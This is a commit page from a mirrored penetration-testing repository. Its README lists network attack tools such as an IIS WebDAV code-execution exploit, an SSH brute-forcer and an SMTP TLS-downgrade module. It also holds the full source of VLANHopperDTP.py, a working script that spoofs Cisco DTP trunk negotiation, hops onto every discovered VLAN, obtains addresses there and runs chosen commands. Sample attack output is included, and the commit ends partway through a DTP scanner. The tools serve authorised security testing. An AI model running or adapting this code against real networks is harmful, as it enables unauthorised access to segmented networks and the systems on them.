mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2025-09-06 03:52:59 +02:00
First
This commit is contained in:
85
networks/README.md
Normal file
85
networks/README.md
Normal file
@ -0,0 +1,85 @@
|
||||
## Networks Penetration Testing related scripts, tools and Cheatsheets
|
||||
|
||||
|
||||
- **`dtpscan.py`** - DTP Scanner - simple script trying to determine type of configured switchport and DTP negotation mode in order to assist in VLAN Hopping attacks. ([gist](https://gist.github.com/mgeeky/3f678d385984ba0377299a844fb793fa))
|
||||
|
||||
- **`smtpdowngrade.rb`** - Bettercap TCP Proxy SMTP Downgrade module - prevents the SMTP client from sending "STARTTLS" and returns "454 TLS Not available..." to the client. ([gist](https://gist.github.com/mgeeky/188f3f319e6f3536476e4b272ec0fb19))
|
||||
|
||||
- **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0))
|
||||
|
||||
- **`VLANHopperDTP.py`** - VLAN Hopping via DTP Trunk (Switch) Spoofing exploit - script automating full VLAN Hopping attack, from DTP detection to VLAN Hop with DHCP lease request ([gist](https://gist.github.com/mgeeky/7ff9bb1dcf8aa093d3a157b3c22432a0))
|
||||
|
||||
Sample output:
|
||||
|
||||
```
|
||||
$ ./VLANHopperDTP.py --help
|
||||
|
||||
:: VLAN Hopping via DTP Trunk negotiation
|
||||
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
|
||||
Mariusz B. / mgeeky, '18
|
||||
v0.3
|
||||
|
||||
usage: ./VLANHopperDTP.py [options]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-i DEV, --interface DEV
|
||||
Select interface on which to operate.
|
||||
-e CMD, --execute CMD
|
||||
Launch specified command after hopping to new VLAN.
|
||||
One can use one of following placeholders in command:
|
||||
%IFACE (choosen interface), %IP (acquired IP), %NET
|
||||
(net address), %HWADDR (MAC), %GW (gateway), %MASK
|
||||
(full mask), %CIDR (short mask). For instance: -e
|
||||
"arp-scan -I %IFACE %NET%CIDR". May be repeated for
|
||||
more commands. The command will be launched
|
||||
SYNCHRONOUSLY, meaning - one have to append "&" at the
|
||||
end to make the script go along.
|
||||
-E CMD, --exit-execute CMD
|
||||
Launch specified command at the end of this script
|
||||
(during cleanup phase).
|
||||
-m HWADDR, --mac-address HWADDR
|
||||
Changes MAC address of the interface before and after
|
||||
attack.
|
||||
-f, --force Attempt VLAN Hopping even if DTP was not detected
|
||||
(like in Nonegotiate situation).
|
||||
-a, --analyse Analyse mode: do not create subinterfaces, don't ask
|
||||
for DHCP leases.
|
||||
-v, --verbose Display verbose output.
|
||||
-d, --debug Display debug output.
|
||||
|
||||
|
||||
|
||||
$ sudo ./VLANHopperDTP.py -i enp5s0f1
|
||||
|
||||
:: VLAN Hopping via DTP Trunk negotiation
|
||||
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
|
||||
Mariusz B. / mgeeky, '18
|
||||
v0.2
|
||||
|
||||
[+] VLAN Hopping IS possible.
|
||||
[>] After Hopping to other VLANs - leave this program running to maintain connections.
|
||||
[>] Discovering new VLANs...
|
||||
==> VLAN discovered: 10
|
||||
==> VLAN discovered: 20
|
||||
==> VLAN discovered: 30
|
||||
==> VLAN discovered: 99
|
||||
[+] Hopped to VLAN 10.: 172.16.10.10
|
||||
[+] Hopped to VLAN 20.: 172.16.20.10
|
||||
[+] Hopped to VLAN 30.: 172.16.30.11
|
||||
[+] Hopped to VLAN 99.: 172.16.99.10
|
||||
```
|
||||
|
||||
- **`nmap-grep-to-table.sh`** - Script converting nmap's greppable output (-oG) into a printable per-host tables. ([gist](https://gist.github.com/mgeeky/cd3092cf60fd513d786286a21c6fa915))
|
||||
|
||||
- **`host-scanner-via-udp.py`** - Running Hosts scanner leveraging ICMP Destination Unreachable response upon UDP closed port packet. ([gist](https://gist.github.com/mgeeky/eae20db2d3dd4704fc6f04ea233bca9c))
|
||||
|
||||
- **`smb-credential-leak.html`** - SMB Credentials leakage by MSEdge as presented in Browser Security White Paper, X41 D-Sec GmbH. ([gist](https://gist.github.com/mgeeky/44ce8a8887c169aa6a0093d915ea103d))
|
||||
|
||||
- **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2))
|
||||
|
||||
- **`smtpvrfy.py`** - SMTP VRFY python tool intended to check whether SMTP server is leaking usernames. ([gist](https://gist.github.com/mgeeky/1df141b18082b6f424df98fa6a630435))
|
||||
|
||||
- **`pingsweep.py`** - Quick Python Scapy-based ping-sweeper. ([gist](https://gist.github.com/mgeeky/a360e4a124ddb9ef6a9ac1557b47d14c))
|
||||
|
||||
- **`sshbrute.py`** - ripped out from Violent Python - by TJ O'Connor. ([gist](https://gist.github.com/mgeeky/70606be7249a61ac26b34b1ef3b07553))
|
644
networks/VLANHopperDTP.py
Normal file
644
networks/VLANHopperDTP.py
Normal file
@ -0,0 +1,644 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
#
|
||||
# This script is performing DTP Trunk mode detection and VLAN Hopping
|
||||
# attack automatically, running sniffer afterwards to collect any other
|
||||
# VLAN available. To be launched only in Unix/Linux environment as the
|
||||
# script utilizes following applications:
|
||||
# - 8021q.ko
|
||||
# - vconfig
|
||||
# - ifconfig / ip / route
|
||||
# - dhclient
|
||||
#
|
||||
# NOTICE:
|
||||
# This program uses code written by 'floodlight', which comes from here:
|
||||
# https://github.com/floodlight/oftest/blob/master/src/python/oftest/afpacket.py
|
||||
#
|
||||
# TODO:
|
||||
# - Add logic that falls back to static IP address setup when DHCP fails
|
||||
# - Possibly implement custom ARP/ICMP/DHCP spoofers
|
||||
#
|
||||
# Mariusz B. / mgeeky, '18
|
||||
#
|
||||
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import argparse
|
||||
import tempfile
|
||||
import commands
|
||||
import threading
|
||||
import subprocess
|
||||
import fcntl, socket, struct
|
||||
|
||||
from ctypes import *
|
||||
|
||||
try:
|
||||
from scapy.all import *
|
||||
except ImportError:
|
||||
print('[!] Scapy required: pip install scapy')
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
VERSION = '0.3'
|
||||
|
||||
config = {
|
||||
'verbose' : False,
|
||||
'debug' : False,
|
||||
'force' : False,
|
||||
'count' : 10,
|
||||
'timeout' : 90,
|
||||
'analyse' : False,
|
||||
'interface' : '',
|
||||
'macaddr' : '',
|
||||
'inet' : '',
|
||||
'origmacaddr' : '',
|
||||
'commands' : [],
|
||||
'exitcommands' : [],
|
||||
}
|
||||
|
||||
stopThreads = False
|
||||
attackEngaged = False
|
||||
dot1qSnifferStarted = False
|
||||
|
||||
vlansHijacked = set()
|
||||
subinterfaces = set()
|
||||
|
||||
tempfiles = []
|
||||
|
||||
|
||||
#
|
||||
# ===============================================
|
||||
# Floodlight's afpacket definitions
|
||||
#
|
||||
|
||||
ETH_P_8021Q = 0x8100
|
||||
SOL_PACKET = 263
|
||||
PACKET_AUXDATA = 8
|
||||
TP_STATUS_VLAN_VALID = 1 << 4
|
||||
|
||||
class struct_iovec(Structure):
|
||||
_fields_ = [
|
||||
("iov_base", c_void_p),
|
||||
("iov_len", c_size_t),
|
||||
]
|
||||
|
||||
class struct_msghdr(Structure):
|
||||
_fields_ = [
|
||||
("msg_name", c_void_p),
|
||||
("msg_namelen", c_uint32),
|
||||
("msg_iov", POINTER(struct_iovec)),
|
||||
("msg_iovlen", c_size_t),
|
||||
("msg_control", c_void_p),
|
||||
("msg_controllen", c_size_t),
|
||||
("msg_flags", c_int),
|
||||
]
|
||||
|
||||
class struct_cmsghdr(Structure):
|
||||
_fields_ = [
|
||||
("cmsg_len", c_size_t),
|
||||
("cmsg_level", c_int),
|
||||
("cmsg_type", c_int),
|
||||
]
|
||||
|
||||
class struct_tpacket_auxdata(Structure):
|
||||
_fields_ = [
|
||||
("tp_status", c_uint),
|
||||
("tp_len", c_uint),
|
||||
("tp_snaplen", c_uint),
|
||||
("tp_mac", c_ushort),
|
||||
("tp_net", c_ushort),
|
||||
("tp_vlan_tci", c_ushort),
|
||||
("tp_padding", c_ushort),
|
||||
]
|
||||
|
||||
libc = CDLL("libc.so.6")
|
||||
recvmsg = libc.recvmsg
|
||||
recvmsg.argtypes = [c_int, POINTER(struct_msghdr), c_int]
|
||||
recvmsg.retype = c_int
|
||||
|
||||
def enable_auxdata(sk):
|
||||
"""
|
||||
Ask the kernel to return the VLAN tag in a control message
|
||||
|
||||
Must be called on the socket before afpacket.recv.
|
||||
"""
|
||||
sk.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)
|
||||
|
||||
def recv(sk, bufsize):
|
||||
"""
|
||||
Receive a packet from an AF_PACKET socket
|
||||
@sk Socket
|
||||
@bufsize Maximum packet size
|
||||
"""
|
||||
buf = create_string_buffer(bufsize)
|
||||
|
||||
ctrl_bufsize = sizeof(struct_cmsghdr) + sizeof(struct_tpacket_auxdata) + sizeof(c_size_t)
|
||||
ctrl_buf = create_string_buffer(ctrl_bufsize)
|
||||
|
||||
iov = struct_iovec()
|
||||
iov.iov_base = cast(buf, c_void_p)
|
||||
iov.iov_len = bufsize
|
||||
|
||||
msghdr = struct_msghdr()
|
||||
msghdr.msg_name = None
|
||||
msghdr.msg_namelen = 0
|
||||
msghdr.msg_iov = pointer(iov)
|
||||
msghdr.msg_iovlen = 1
|
||||
msghdr.msg_control = cast(ctrl_buf, c_void_p)
|
||||
msghdr.msg_controllen = ctrl_bufsize
|
||||
msghdr.msg_flags = 0
|
||||
|
||||
rv = recvmsg(sk.fileno(), byref(msghdr), 0)
|
||||
if rv < 0:
|
||||
raise RuntimeError("recvmsg failed: rv=%d", rv)
|
||||
|
||||
# The kernel only delivers control messages we ask for. We
|
||||
# only enabled PACKET_AUXDATA, so we can assume it's the
|
||||
# only control message.
|
||||
assert msghdr.msg_controllen >= sizeof(struct_cmsghdr)
|
||||
|
||||
cmsghdr = struct_cmsghdr.from_buffer(ctrl_buf) # pylint: disable=E1101
|
||||
assert cmsghdr.cmsg_level == SOL_PACKET
|
||||
assert cmsghdr.cmsg_type == PACKET_AUXDATA
|
||||
|
||||
auxdata = struct_tpacket_auxdata.from_buffer(ctrl_buf, sizeof(struct_cmsghdr)) # pylint: disable=E1101
|
||||
|
||||
if auxdata.tp_vlan_tci != 0 or auxdata.tp_status & TP_STATUS_VLAN_VALID:
|
||||
# Insert VLAN tag
|
||||
tag = struct.pack("!HH", ETH_P_8021Q, auxdata.tp_vlan_tci)
|
||||
return buf.raw[:12] + tag + buf.raw[12:rv]
|
||||
else:
|
||||
return buf.raw[:rv]
|
||||
|
||||
#
|
||||
# ===============================================
|
||||
#
|
||||
|
||||
class Logger:
|
||||
@staticmethod
|
||||
def _out(x):
|
||||
if config['debug'] or config['verbose']:
|
||||
sys.stdout.write(x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def dbg(x):
|
||||
if config['debug']:
|
||||
sys.stdout.write('[dbg] ' + x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def out(x):
|
||||
Logger._out('[.] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def info(x):
|
||||
Logger._out('[?] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def err(x):
|
||||
sys.stdout.write('[!] ' + x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def fail(x):
|
||||
Logger._out('[-] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def ok(x):
|
||||
Logger._out('[+] ' + x)
|
||||
|
||||
def inspectPacket(dtp):
|
||||
tlvs = dtp['DTP'].tlvlist
|
||||
stat = -1
|
||||
for tlv in tlvs:
|
||||
if tlv.type == 2:
|
||||
stat = ord(tlv.status)
|
||||
break
|
||||
|
||||
ret = True
|
||||
if stat == -1:
|
||||
Logger.fail('Something went wrong: Got invalid DTP packet.')
|
||||
ret = False
|
||||
|
||||
elif stat == 2:
|
||||
Logger.fail('DTP disabled, Switchport in Access mode configuration')
|
||||
print('[!] VLAN Hopping is not possible.')
|
||||
ret = False
|
||||
|
||||
elif stat == 3:
|
||||
Logger.ok('DTP enabled, Switchport in default configuration')
|
||||
print('[+] VLAN Hopping is possible.')
|
||||
|
||||
elif stat == 4 or stat == 0x84:
|
||||
Logger.ok('DTP enabled, Switchport in Dynamic Auto configuration')
|
||||
print('[+] VLAN Hopping is possible.')
|
||||
|
||||
elif stat == 0x81:
|
||||
Logger.ok('DTP enabled, Switchport in Trunk configuration')
|
||||
print('[+] VLAN Hopping IS possible.')
|
||||
|
||||
elif stat == 0xa5:
|
||||
Logger.info('DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration')
|
||||
print('[?] VLAN Hopping may be possible.')
|
||||
|
||||
elif stat == 0x42:
|
||||
Logger.info('DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
|
||||
print('[?] VLAN Hopping may be possible.')
|
||||
|
||||
if ret:
|
||||
print('[>] After Hopping to other VLANs - leave this program running to maintain connections.')
|
||||
|
||||
return ret
|
||||
|
||||
def floodTrunkingRequests():
|
||||
while not stopThreads:
|
||||
# Ethernet
|
||||
dot3 = Dot3(src = config['macaddr'], dst = '01:00:0c:cc:cc:cc', len = 42)
|
||||
|
||||
# Logical-Link Control
|
||||
llc = LLC(dsap = 0xaa, ssap = 0xaa, ctrl = 3)
|
||||
|
||||
# OUT = Cisco, Code = DTP
|
||||
snap = SNAP(OUI = 0x0c, code = 0x2004)
|
||||
|
||||
# DTP, Status = Access/Desirable (3), Type: Trunk (3)
|
||||
dtp = DTP(ver = 1, tlvlist = [
|
||||
DTPDomain(length = 13, type = 1, domain = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'),
|
||||
DTPStatus(status = '\\x03', length = 5, type = 2),
|
||||
DTPType(length = 5, type = 3, dtptype = '\\xa5'),
|
||||
DTPNeighbor(type = 4, neighbor = config['macaddr'], len = 10)
|
||||
])
|
||||
|
||||
frame = dot3 / llc / snap / dtp
|
||||
|
||||
Logger.dbg('SENT: DTP Trunk Keep-Alive:\n{}'.format(frame.summary()))
|
||||
send(frame, iface = config['interface'], verbose = False)
|
||||
|
||||
time.sleep(30)
|
||||
|
||||
def engageDot1qSniffer():
|
||||
global dot1qSnifferStarted
|
||||
|
||||
if dot1qSnifferStarted:
|
||||
return
|
||||
|
||||
dot1qSnifferStarted = True
|
||||
|
||||
Logger.info('Starting VLAN/802.1Q sniffer.')
|
||||
|
||||
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
|
||||
sock.bind((config['interface'], ETH_P_ALL))
|
||||
enable_auxdata(sock)
|
||||
|
||||
print('[>] Discovering new VLANs...')
|
||||
|
||||
while not stopThreads:
|
||||
buf = recv(sock, 65535)
|
||||
pkt = Ether(buf)
|
||||
|
||||
if pkt.haslayer(Dot1Q):
|
||||
dot1q = pkt.vlan
|
||||
if dot1q not in vlansHijacked:
|
||||
print('==> VLAN discovered: {}'.format(dot1q))
|
||||
vlansHijacked.add(dot1q)
|
||||
|
||||
if not config['analyse']:
|
||||
t = threading.Thread(target = addVlanIface, args = (dot1q, ))
|
||||
t.daemon = True
|
||||
t.start()
|
||||
else:
|
||||
Logger.info('Analysis mode: Did not go any further.')
|
||||
|
||||
Logger.info('Stopped VLAN/802.1Q sniffer.')
|
||||
|
||||
def processDtps(dtps):
|
||||
global attackEngaged
|
||||
|
||||
if stopThreads: return
|
||||
|
||||
if attackEngaged == False:
|
||||
success = False
|
||||
for dtp in dtps:
|
||||
if dtp.haslayer(DTP):
|
||||
if inspectPacket(dtp):
|
||||
success = True
|
||||
break
|
||||
|
||||
if success:
|
||||
Logger.ok('VLAN Hopping via Switch Spoofing may be possible.')
|
||||
Logger.ok('Flooding with fake Access/Desirable DTP frames...\n')
|
||||
|
||||
t = threading.Thread(target = floodTrunkingRequests)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
attackEngaged = True
|
||||
time.sleep(5)
|
||||
|
||||
if attackEngaged:
|
||||
engageDot1qSniffer()
|
||||
|
||||
def launchCommand(subif, cmd):
|
||||
# following placeholders in command:
|
||||
# $GW (gateway),
|
||||
# $MASK (full mask),
|
||||
|
||||
Logger.dbg('Subinterface: {}, Parsing command: "{}"'.format(subif, cmd))
|
||||
|
||||
if '%IFACE' in cmd: cmd = cmd.replace('%IFACE', subif)
|
||||
if '%HWADDR' in cmd: cmd = cmd.replace('%HWADDR', getHwAddr(subif))
|
||||
if '%IP' in cmd: cmd = cmd.replace('%IP', getIfaceIP(subif))
|
||||
if '%NET' in cmd: cmd = cmd.replace('%NET', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $1}' | head -1"))
|
||||
if '%MASK' in cmd: cmd = cmd.replace('%MASK', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $3}' | head -1"))
|
||||
if '%GW' in cmd: cmd = cmd.replace('%GW', shell("route -n | grep " + subif + " | grep UG | awk '{print $2}' | head -1"))
|
||||
if '%CIDR' in cmd: cmd = cmd.replace('%CIDR', '/' + shell("ip addr show " + subif + " | grep inet | awk '{print $2}' | cut -d/ -f2"))
|
||||
|
||||
print('[>] Launching command: "{}"'.format(cmd))
|
||||
shell(cmd)
|
||||
|
||||
def launchCommands(subif, commands):
|
||||
for cmd in commands:
|
||||
launchCommand(subif, cmd)
|
||||
|
||||
def addVlanIface(vlan):
|
||||
global subinterfaces
|
||||
global tempfiles
|
||||
|
||||
subif = '{}.{}'.format(config['interface'], vlan)
|
||||
|
||||
if subif in subinterfaces:
|
||||
Logger.fail('Already created that subinterface: {}'.format(subif))
|
||||
return
|
||||
|
||||
Logger.info('Creating new VLAN Subinterface for {}.'.format(vlan))
|
||||
|
||||
out = shell('vconfig add {} {}'.format(
|
||||
config['interface'], vlan
|
||||
))
|
||||
|
||||
if out.startswith('Added VLAN with VID == {}'.format(vlan)):
|
||||
subinterfaces.add(subif)
|
||||
|
||||
pidFile = tempfile.NamedTemporaryFile().name
|
||||
dbFile = tempfile.NamedTemporaryFile().name
|
||||
|
||||
tempfiles.append(pidFile)
|
||||
tempfiles.append(dbFile)
|
||||
|
||||
Logger.info('So far so good, subinterface {} added.'.format(subif))
|
||||
|
||||
ret = False
|
||||
for attempt in range(3):
|
||||
Logger.dbg('Acquiring DHCP lease for {}'.format(subif))
|
||||
|
||||
shell('dhclient -lf {} -pf {} -r {}'.format(dbFile, pidFile, subif))
|
||||
time.sleep(3)
|
||||
|
||||
if attempt > 0:
|
||||
shell('dhclient -lf {} -pf {} -x {}'.format(dbFile, pidFile, subif))
|
||||
time.sleep(3)
|
||||
|
||||
shell('dhclient -lf {} -pf {} {}'.format(dbFile, pidFile, subif))
|
||||
|
||||
time.sleep(3)
|
||||
ip = getIfaceIP(subif)
|
||||
|
||||
if ip:
|
||||
Logger.dbg('Subinterface has IP: {}'.format(ip))
|
||||
ret = True
|
||||
|
||||
print('[+] Hopped to VLAN {}.: {}'.format(vlan, ip))
|
||||
launchCommands(subif, config['commands'])
|
||||
break
|
||||
|
||||
time.sleep(5)
|
||||
|
||||
if not ret:
|
||||
Logger.fail('Could not acquire DHCP lease for: {}'.format(subif))
|
||||
Logger.fail('Skipping...')
|
||||
|
||||
else:
|
||||
Logger.fail('Failed.: "{}"'.format(out))
|
||||
|
||||
def packetCallback(pkt):
|
||||
Logger.dbg('RECV: ' + pkt.summary())
|
||||
|
||||
def sniffThread():
|
||||
global vlansHijacked
|
||||
|
||||
warnOnce = False
|
||||
|
||||
Logger.info('Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
|
||||
config['count'], config['timeout']
|
||||
))
|
||||
|
||||
while not stopThreads and not attackEngaged:
|
||||
try:
|
||||
dtps = sniff(
|
||||
count = config['count'],
|
||||
filter = 'ether[20:2] == 0x2004',
|
||||
timeout = config['timeout'],
|
||||
prn = packetCallback,
|
||||
stop_filter = lambda x: x.haslayer(DTP) or stopThreads,
|
||||
iface = config['interface']
|
||||
)
|
||||
except Exception as e:
|
||||
if 'Network is down' in str(e):
|
||||
break
|
||||
Logger.err('Exception occured during sniffing: ' + str(e))
|
||||
|
||||
if len(dtps) == 0 and not warnOnce:
|
||||
Logger.fail('It seems like there was no DTP frames transmitted.')
|
||||
Logger.fail('VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
|
||||
Logger.info('\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
|
||||
Logger.info('\tSWITCH(config-if)# switchport mode access')
|
||||
warnOnce = True
|
||||
|
||||
if len(dtps) > 0 or config['force']:
|
||||
if len(dtps) > 0:
|
||||
Logger.dbg('Got {} DTP frames.\n'.format(
|
||||
len(dtps)
|
||||
))
|
||||
else:
|
||||
Logger.info('Forced mode: Beginning attack blindly.')
|
||||
|
||||
t = threading.Thread(target = processDtps, args = (dtps, ))
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
Logger.dbg('Stopped sniffing.')
|
||||
|
||||
def getHwAddr(ifname):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15]))
|
||||
return ':'.join(['%02x' % ord(char) for char in info[18:24]])
|
||||
|
||||
def getIfaceIP(iface):
|
||||
out = shell("ip addr show " + iface + " | grep inet | awk '{print $2}' | head -1 | cut -d/ -f1")
|
||||
Logger.dbg('Interface: {} has IP: {}'.format(iface, out))
|
||||
return out
|
||||
|
||||
def changeMacAddress(iface, mac):
|
||||
old = getHwAddr(iface)
|
||||
Logger.dbg('Changing MAC address of interface {}, from: {} to: {}'.format(
|
||||
iface, old, mac
|
||||
))
|
||||
shell('ifconfig {} down'.format(iface))
|
||||
shell('ifconfig {} hw ether {}'.format(iface, mac))
|
||||
shell('ifconfig {} up'.format(iface))
|
||||
|
||||
ret = old != getHwAddr(iface)
|
||||
if ret:
|
||||
Logger.dbg('Changed.')
|
||||
else:
|
||||
Logger.dbg('Not changed.')
|
||||
|
||||
return ret
|
||||
|
||||
def assure8021qCapabilities():
|
||||
if ('not found' in shell('modprobe -n 8021q')):
|
||||
Logger.err('There is no kernel module named: "8021q". Fatal error.')
|
||||
return False
|
||||
|
||||
if not shell('which vconfig'):
|
||||
Logger.err('There is no "vconfig" utility. Package required: "vconfig". Fatal error.')
|
||||
return False
|
||||
|
||||
shell('modprobe 8021q')
|
||||
|
||||
return True
|
||||
|
||||
def shell(cmd):
|
||||
out = commands.getstatusoutput(cmd)[1]
|
||||
Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out))
|
||||
return out
|
||||
|
||||
def selectDefaultInterface():
|
||||
global config
|
||||
commands = {
|
||||
'ip' : "ip route show | grep default | awk '{print $5}' | head -1",
|
||||
'ifconfig': "route -n | grep 0.0.0.0 | grep 'UG' | awk '{print $8}' | head -1",
|
||||
}
|
||||
|
||||
for k, v in commands.items():
|
||||
out = shell(v)
|
||||
if len(out) > 0:
|
||||
Logger.info('Default interface lookup command returned:\n{}'.format(out))
|
||||
config['interface'] = out
|
||||
return out
|
||||
|
||||
return ''
|
||||
|
||||
def cleanup():
|
||||
if config['origmacaddr'] != config['macaddr']:
|
||||
Logger.dbg('Restoring original MAC address...')
|
||||
changeMacAddress(config['interface'], config['origmacaddr'])
|
||||
|
||||
for subif in subinterfaces:
|
||||
Logger.dbg('Removing subinterface: {}'.format(subif))
|
||||
|
||||
launchCommands(subif, config['exitcommands'])
|
||||
shell('vconfig rem {}'.format(subif))
|
||||
|
||||
Logger.dbg('Removing temporary files...')
|
||||
for file in tempfiles:
|
||||
os.remove(file)
|
||||
|
||||
def parseOptions(argv):
|
||||
print('''
|
||||
:: VLAN Hopping via DTP Trunk negotiation
|
||||
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
|
||||
Mariusz B. / mgeeky, '18
|
||||
v{}
|
||||
'''.format(VERSION))
|
||||
|
||||
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
|
||||
parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
|
||||
parser.add_argument('-e', '--execute', dest='command', metavar='CMD', default=[], action='append', help='Launch specified command after hopping to new VLAN. One can use one of following placeholders in command: %%IFACE (choosen interface), %%IP (acquired IP), %%NET (net address), %%HWADDR (MAC), %%GW (gateway), %%MASK (full mask), %%CIDR (short mask). For instance: -e "arp-scan -I %%IFACE %%NET%%CIDR". May be repeated for more commands. The command will be launched SYNCHRONOUSLY, meaning - one have to append "&" at the end to make the script go along.')
|
||||
parser.add_argument('-E', '--exit-execute', dest='exitcommand', metavar='CMD', default=[], action='append', help='Launch specified command at the end of this script (during cleanup phase).')
|
||||
parser.add_argument('-m', '--mac-address', metavar='HWADDR', dest='mac', default='', help='Changes MAC address of the interface before and after attack.')
|
||||
parser.add_argument('-f', '--force', action='store_true', help='Attempt VLAN Hopping even if DTP was not detected (like in Nonegotiate situation).')
|
||||
parser.add_argument('-a', '--analyse', action='store_true', help='Analyse mode: do not create subinterfaces, don\'t ask for DHCP leases.')
|
||||
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
|
||||
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
config['verbose'] = args.verbose
|
||||
config['debug'] = args.debug
|
||||
config['analyse'] = args.analyse
|
||||
config['force'] = args.force
|
||||
config['interface'] = args.interface
|
||||
config['commands'] = args.command
|
||||
config['exitcommands'] = args.exitcommand
|
||||
|
||||
return args
|
||||
|
||||
def main(argv):
|
||||
global config
|
||||
global stopThreads
|
||||
|
||||
opts = parseOptions(argv)
|
||||
if not opts:
|
||||
Logger.err('Options parsing failed.')
|
||||
return False
|
||||
|
||||
if os.getuid() != 0:
|
||||
Logger.err('This program must be run as root.')
|
||||
return False
|
||||
|
||||
load_contrib('dtp')
|
||||
|
||||
if not assure8021qCapabilities():
|
||||
Logger.err('Unable to proceed.')
|
||||
return False
|
||||
|
||||
if not opts.interface:
|
||||
if not selectDefaultInterface():
|
||||
Logger.err('Could not find suitable interface. Please specify it.')
|
||||
return False
|
||||
|
||||
print('[>] Interface to work on: "{}"'.format(config['interface']))
|
||||
|
||||
config['origmacaddr'] = config['macaddr'] = getHwAddr(config['interface'])
|
||||
if not config['macaddr']:
|
||||
Logger.err('Could not acquire MAC address of interface: "{}"'.format(
|
||||
config['interface']
|
||||
))
|
||||
return False
|
||||
else:
|
||||
Logger.dbg('Interface "{}" has MAC address: "{}"'.format(
|
||||
config['interface'], config['macaddr']
|
||||
))
|
||||
|
||||
config['inet'] = getIfaceIP(config['interface'])
|
||||
if not config['inet']:
|
||||
Logger.fail('Could not acquire interface\'s IP address! Proceeding...')
|
||||
|
||||
oldMac = config['macaddr']
|
||||
if opts.mac:
|
||||
oldMac = changeMacAddress(config['interface'], opts.mac)
|
||||
if oldMac:
|
||||
config['macaddr'] = opts.mac
|
||||
else:
|
||||
Logger.err('Could not change interface\'s MAC address!')
|
||||
return False
|
||||
|
||||
t = threading.Thread(target = sniffThread)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
try:
|
||||
while True:
|
||||
pass
|
||||
except KeyboardInterrupt:
|
||||
print('\n[>] Cleaning up...')
|
||||
|
||||
stopThreads = True
|
||||
time.sleep(3)
|
||||
|
||||
cleanup()
|
||||
return True
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
155
networks/dtpscan.py
Normal file
155
networks/dtpscan.py
Normal file
@ -0,0 +1,155 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
#
|
||||
# Simple script showing configuration of the DTP protocol on
|
||||
# the switch's port. This reconessaince will be helpful for performing
|
||||
# VLAN Hopping attacks.
|
||||
#
|
||||
# Mariusz B. / mgeeky, '18
|
||||
#
|
||||
|
||||
import os
|
||||
import sys
|
||||
from scapy.all import *
|
||||
|
||||
config = {
|
||||
'count' : 10,
|
||||
'timeout' : 90
|
||||
}
|
||||
|
||||
ciscoConfigMaps = {
|
||||
2: '''
|
||||
ACCESS/OFF/ACCESS
|
||||
Administrative Mode: static access
|
||||
Operational Mode: static access
|
||||
Administrative Trunking Encapsulation: dot1q
|
||||
Operational Trunking Encapsulation: native
|
||||
Negotiation of Trunking: Off''',
|
||||
|
||||
3: '''
|
||||
ACCESS/DESIRABLE/ACCESS
|
||||
Administrative Mode: dynamic desirable
|
||||
Operational Mode: static access
|
||||
Administrative Trunking Encapsulation: dot1q
|
||||
Operational Trunking Encapsulation: native
|
||||
Negotiation of Trunking: On''',
|
||||
4: '''
|
||||
ACCESS/AUTO/ACCESS
|
||||
Administrative Mode: dynamic auto
|
||||
Operational Mode: static access
|
||||
Administrative Trunking Encapsulation: dot1q
|
||||
Operational Trunking Encapsulation: native
|
||||
Negotiation of Trunking: On''',
|
||||
|
||||
0x81: '''
|
||||
TRUNK/ON/TRUNK
|
||||
Administrative Mode: trunk
|
||||
Operational Mode: trunk
|
||||
Administrative Trunking Encapsulation: dot1q
|
||||
Operational Trunking Encapsulation: dot1q
|
||||
Negotiation of Trunking: On''',
|
||||
}
|
||||
|
||||
def showConfig(stat):
|
||||
if stat in ciscoConfigMaps.keys():
|
||||
print(ciscoConfigMaps[stat])
|
||||
|
||||
def inspectPacket(dtp):
|
||||
tlvs = dtp['DTP'].tlvlist
|
||||
|
||||
stat = -1
|
||||
for tlv in tlvs:
|
||||
if tlv.type == 2:
|
||||
# TLV: DTPStatus
|
||||
stat = ord(tlv.status)
|
||||
break
|
||||
|
||||
print(' ' + '=' * 60)
|
||||
